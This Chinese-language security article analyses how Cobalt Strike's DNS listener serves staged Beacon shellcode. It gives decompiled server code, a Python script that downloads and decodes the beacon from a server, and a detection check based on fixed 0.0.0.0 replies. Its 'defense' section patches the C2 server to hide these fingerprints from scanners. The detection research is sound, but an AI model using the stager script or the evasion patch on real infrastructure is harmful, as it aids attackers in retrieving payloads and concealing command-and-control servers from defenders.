“ Cobalt Strike,是一款国外开发的渗透测试神器,其强大的内网穿透能力及多样化的攻击方式使其成为众多APT组织的首选。如何有效地检测和识别Cobalt Strike服务器一直以来都是安全设备厂商和企业安全关注的焦点。”
01
—
Stager 分析
set host_stage "true";
set maxdns "255";
set dns_max_txt "252";
set dns_idle "74.125.196.113"; #google.com (change this to match your campaign)
set dns_sleep "0"; # Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_stager_prepend ".resources.123456.";
set dns_stager_subhost ".feeds.123456.";
其中ns.dns.com是Cobalt Strike Listener中绑定的域名,而.feeds.123456.是我们在profile中配置的dns_stager_subhost值。整个通信的过程中Beacon请求的都是TXT记录。
aaa.feeds.123456.ns.dns.com
baa.feeds.123456.ns.dns.com
:
zaa.feeds.123456.ns.dns.com
aba.feeds.123456.ns.dns.com
cba.feeds.123456.ns.dns.com
:
zba.feeds.123456.ns.dns.com
aca.feeds.123456.ns.dns.com
cca.feeds.123456.ns.dns.com
:
zza.feeds.123456.ns.dns.com
aab.feeds.123456.ns.dns.com
cab.feeds.123456.ns.dns.com
:
tkc.feeds.123456.ns.dns.com
def stager():
buff = ""
str1 = 'abcdefghijklmnopqrstuvwxyz'
resolver = dns.resolver.Resolver()
resolver.nameservers = ['192.168.100.101']
for i in product(str1, str1, str1):
dnsc = '{0}.feeds.123456.ns.dns.com'.format(''.join(i[::-1])).strip()
try:
text = resolver.resolve(dnsc, 'txt')[0].to_text().strip('"')
except NoNameservers:
break
except:
return
if text=="":
break
#time.sleep(0.3)
buff = buff + text
return buff
.resources.123456.WYIIIIIIIIIIIIIIII7QZjAX...8ioYp8hnMyoYoIoAAgogoJAJAJAJAJAJAJAJAJAENFKFCEFOIAAAAAAAAFLIJNPFFIJOFIBMDPPHJAAAAPPNDGIPALFKCFGGIAEAAAAAAFHPPNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAAAAAAAHKDPGLIOCHPPLNKGNJINHEIMMEABKBEIKCFPBOAOAHDDPPFPKOGFBCDFFODANEJGBDANKODPGJIIIIPDDCODOGNCBLCMHHMPCEBNBMJKCF...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
public void setPayloadStage(byte[] var1) {
this.stage = this.c2profile.getString(".dns_stager_prepend") + ArtifactUtils.AlphaEncode(var1);
}
public static String AlphaEncode(byte[] var0) {
AssertUtils.Test(var0.length > 16384, "AlphaEncode used on a stager (or some other small thing)");
return _AlphaEncode(var0);
}
public static String _AlphaEncode(byte[] var0) {
String var1 = CommonUtils.bString(CommonUtils.readResource("resources/netbios.bin"));
var1 = var1 + "gogo";
var1 = var1 + NetBIOS.encode('A', var0);
var1 = var1 + "aa";
return var1;
}
import time
from dns.resolver import *
from itertools import *
def stager():
buff = ""
str1 = 'abcdefghijklmnopqrstuvwxyz'
resolver = dns.resolver.Resolver()
resolver.nameservers = ['192.168.100.101']
for i in product(str1, str1, str1):
dnsc = '{0}.feeds.123456.ns.dns.com'.format(''.join(i[::-1])).strip()
try:
text = resolver.resolve(dnsc, 'txt')[0].to_text().strip('"')
except NoNameservers:
break
except:
return
if text=="":
break
#time.sleep(0.3)
buff = buff + text
if "aa" in buff and "gogo" in buff:
f = open("beacon.bin", "wb")
f.write(bytearray(netbios_decode(buff.split('gogo')[-1].split('aa')[0])))
f.close()
def netbios_decode(netbios):
i = iter(netbios.upper())
try:
return [((ord(c)-ord('A'))<<4)+((ord(next(i))-ord('A'))&0xF) for c in i]
except:
return ''
if __name__=="__main__":
stager()
02
—
特征分析
public DNSServer.Response respond_nosync(String var1, int var2) {
StringStack var3 = new StringStack(var1.toLowerCase(), ".");
if (var3.isEmpty()) {
return this.idlemsg;
} else {
String var4 = var3.shift();
if (var4.length() == 3 && "stage".equals(var3.peekFirst())) {//判断第二个子域是非为stage
return this.serveStage(var4);
} else {
String var5;
String var6;
if (!"cdn".equals(var4) && !"api".equals(var4) && !"www6".equals(var4)) {
if (!"www".equals(var4) && !"post".equals(var4)) {
if (this.stager_subhost != null && var1.length() > 4 && var1.toLowerCase().substring(3).startsWith(this.stager_subhost)) {
return this.serveStage(var1.substring(0, 3));
} else if (CommonUtils.isHexNumber(var4) && CommonUtils.isDNSBeacon(var4)) {
var4 = CommonUtils.toNumberFromHex(var4, 0) + "";
...
...
}
}
}
}
protected DNSServer.Response serveStage(String var1) {
int var2 = CommonUtils.toTripleOffset(var1) * 255;
if (this.stage.length() != 0 && var2 <= this.stage.length()) {
return var2 + 255 < this.stage.length() ? DNSServer.TXT(CommonUtils.toBytes(this.stage.substring(var2, var2 + 255))) : DNSServer.TXT(CommonUtils.toBytes(this.stage.substring(var2)));
} else {
return DNSServer.TXT(new byte[0]);
}
}
if (var4.length() == 3 && "stage".equals(var3.peekFirst())) {
return this.serveStage(var4);
} else {
String var5;
String var6;
if (!"cdn".equals(var4) && !"api".equals(var4) && !"www6".equals(var4)) {
if (!"www".equals(var4) && !"post".equals(var4)) {
...
} else {
...
}
} else {//当请求域名的第一个子域是cdn、api、www6的时候
var3 = new StringStack(var1.toLowerCase(), ".");
var5 = var3.shift();
var6 = var3.shift();
var4 = CommonUtils.toNumberFromHex(var3.shift(), 0) + "";
if (this.cache.contains(var4, var6)) {
return this.cache.get(var4, var6);
} else {
SendConversation var7 = null;
if ("cdn".equals(var5)) {
var7 = this.conversations.getSendConversationA(var4, var5, var6);
} else if ("api".equals(var5)) {
var7 = this.conversations.getSendConversationTXT(var4, var5, var6);
} else if ("www6".equals(var5)) {
var7 = this.conversations.getSendConversationAAAA(var4, var5, var6);
}
DNSServer.Response var8 = null;
if (!var7.started() && var2 == 16) {
var8 = DNSServer.TXT(new byte[0]);//返回text=“”
} else if (!var7.started()) {
byte[] var9 = this.controller.dump(var4, 72000, 1048576);
if (var9.length > 0) {
var9 = this.controller.getSymmetricCrypto().encrypt(var4, var9);
var8 = var7.start(var9);
} else if (var2 == 28 && "www6".equals(var5)) {
var8 = DNSServer.AAAA(new byte[16]);//返回::
} else {
var8 = DNSServer.A(0L);//返回0.0.0.0
}
} else {
var8 = var7.next();
}
if (var7.isComplete()) {
this.conversations.removeConversation(var4, var5, var6);
}
this.cache.add(var4, var6, var8);
return var8;
}
}
由于返回的值都是固定的,同样没有判断域名后缀,所以完全可以拿来作为检测Cobalt Strike服务器的方法。以下是以api关键字作为检测的参考代码:
def checkA(host):
resolver = dns.resolver.Resolver()
resolver.nameservers = [host]
try:
#请求的xxxx.xxx最好是随机的,并多次尝试
ip = resolver.resolve("api.xxxx.xxx", 'A')[0].to_text()
except:
return False
if ip == "0.0.0.0":
return True
return False
当第一个子域为www,post的时候,处理情况又不相同,限于篇幅这里就不分析了,有兴趣的朋友可以自行研究。
03
—
检 测
04
—
防 御
针对上面提到的特征,可以通过修改beacon/beaconDns.java中的代码,改变respond_nosync()处理请求的流程,增加判断,修改默认的返回值。可参考如下代码(注:该代码是4.2版本的代码,不过笔者本地测过CS最低版本是3.8,最高版本是4.2,代码可能会有差异,但是可以采取同样的方式):
public DNSServer.Response respond_nosync(String var1, int var2) {
StringStack var3 = new StringStack(var1.toLowerCase(), ".");
String dname = var1.toLowerCase().trim().substring(0, var1.length() - 1);
if (var3.isEmpty()) {
return this.idlemsg;
} else {
String var4 = var3.shift();
boolean CheckDname = false;
//增加了判断请求的类型是否为TXT同时验证了域名后缀是否为Listener配置的字符
if (var4.length() == 3 && var2 == 16 && dname.substring(3).startsWith(this.stager_subhost) && dname.endsWith(this.listener.getStagerHost().toLowerCase())) {
return this.serveStage(var4);
} else {
String var5;
String var6;
String[] dnameArray = dname.split("\\.");
String[] dC2Array = this.listener.getCallbackHosts().split(", ");
for (int i=0; i<dC2Array.length; i++){
if (dC2Array[i].endsWith(dnameArray[dnameArray.length - 2] + "." + dnameArray[dnameArray.length - 1])){
CheckDname = true;
}
}
//判断请求的域名后缀是否为绑定的域名后缀
if (!CheckDname){
return this.idlemsg;
}
if (!"cdn".equals(var4) && !"api".equals(var4) && !"www6".equals(var4)) {
if (!"www".equals(var4) && !"post".equals(var4)) {
//增加了判断请求的类型是否为TXT
if (this.stager_subhost != null && var2 == 16&& var1.length() > 4 && var1.toLowerCase().substring(3).startsWith(this.stager_subhost)) {
return this.serveStage(var1.substring(0, 3));
} else if (CommonUtils.isHexNumber(var4) && CommonUtils.isDNSBeacon(var4)) {
var4 = CommonUtils.toNumberFromHex(var4, 0) + "";
...
...
}
}
}else {//当请求域名的第一个子域是cdn、api、www6的时候
var3 = new StringStack(var1.toLowerCase(), ".");
var5 = var3.shift();
var6 = var3.shift();
var4 = CommonUtils.toNumberFromHex(var3.shift(), 0) + "";
if (this.cache.contains(var4, var6)) {
return this.cache.get(var4, var6);
} else {
SendConversation var7 = null;
if ("cdn".equals(var5)) {
var7 = this.conversations.getSendConversationA(var4, var5, var6);
} else if ("api".equals(var5)) {
var7 = this.conversations.getSendConversationTXT(var4, var5, var6);
} else if ("www6".equals(var5)) {
var7 = this.conversations.getSendConversationAAAA(var4, var5, var6);
}
DNSServer.Response var8 = null;
if (!var7.started() && var2 == 16) {
var8 = this.idlemsg;
//var8 = DNSServer.TXT(new byte[0]);返回text=“”
} else if (!var7.started()) {
byte[] var9 = this.controller.dump(var4, 72000, 1048576);
if (var9.length > 0) {
var9 = this.controller.getSymmetricCrypto().encrypt(var4, var9);
var8 = var7.start(var9);
} else if (var2 == 28 && "www6".equals(var5)) {
var8 = this.idlemsg;
//var8 = DNSServer.AAAA(new byte[16]);返回::
} else {
var8 = this.idlemsg;
//var8 = DNSServer.A(0L);返回0.0.0.0
}
} else {
var8 = var7.next();
}
if (var7.isComplete()) {
this.conversations.removeConversation(var4, var5, var6);
}
this.cache.add(var4, var6, var8);
return var8;
}
}
05
—
总 结
当Cobalt Strike服务器的profile配置stage_host为true的时候,可以使用带有stage关键字的域名模拟stager下载DNS Beacon的Shellcode。
使用api、cdn、www6作为第一个子域的域名如api.ns.dns.com向Cobalt Strike DNS服务查询A记录时将返回固定ip地址0.0.0.0,查询TXT记录是返回的text字段为空。
当查询时用目标Cobalt Strike的作为名称解析服务器的时候,上述请求可以忽略域名后缀,比如查询api.xxx.xxxx和查询api.ns.dns.com都会返回0.0.0.0。
结合以上特征,可以精确地检测出监听了DNS的Cobalt Strike服务器,并在公网上得到了验证,同时也给出了防御的参考代码和思路。
参考链接:
https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors/